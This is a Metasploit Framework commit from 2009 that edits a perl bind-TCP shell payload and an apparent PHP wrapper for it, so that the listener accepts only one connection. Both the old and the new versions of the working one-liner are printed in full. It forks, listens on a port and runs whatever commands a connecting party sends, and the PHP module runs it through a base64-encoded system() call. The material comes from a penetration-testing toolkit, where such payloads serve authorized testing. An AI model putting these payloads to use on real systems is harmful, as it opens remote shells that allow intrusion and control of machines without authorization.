only accept one connection for bind_perl shells. fixes 669

git-svn-id: file:///home/svn/framework3/trunk@7790 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-12-09 23:49:50 +00:00
parent c1c06d6ea1
commit 5ddfffc94f
2 changed files with 5 additions and 5 deletions

View File

@ -23,7 +23,7 @@ module Metasploit3
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via perl)',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
'Description' => 'Listen for a connection and spawn a command shell via perl',
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
'License' => BSD_LICENSE,
'Platform' => 'unix',
@ -52,7 +52,7 @@ module Metasploit3
#
def command_string
cmd = "perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}'"
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
return cmd
end

View File

@ -43,7 +43,7 @@ module Metasploit3
# Constructs the payload
#
def generate
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))"
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
end
#
@ -51,9 +51,9 @@ module Metasploit3
#
def command_string
cmd = "perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}'"
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
return cmd
end
end
end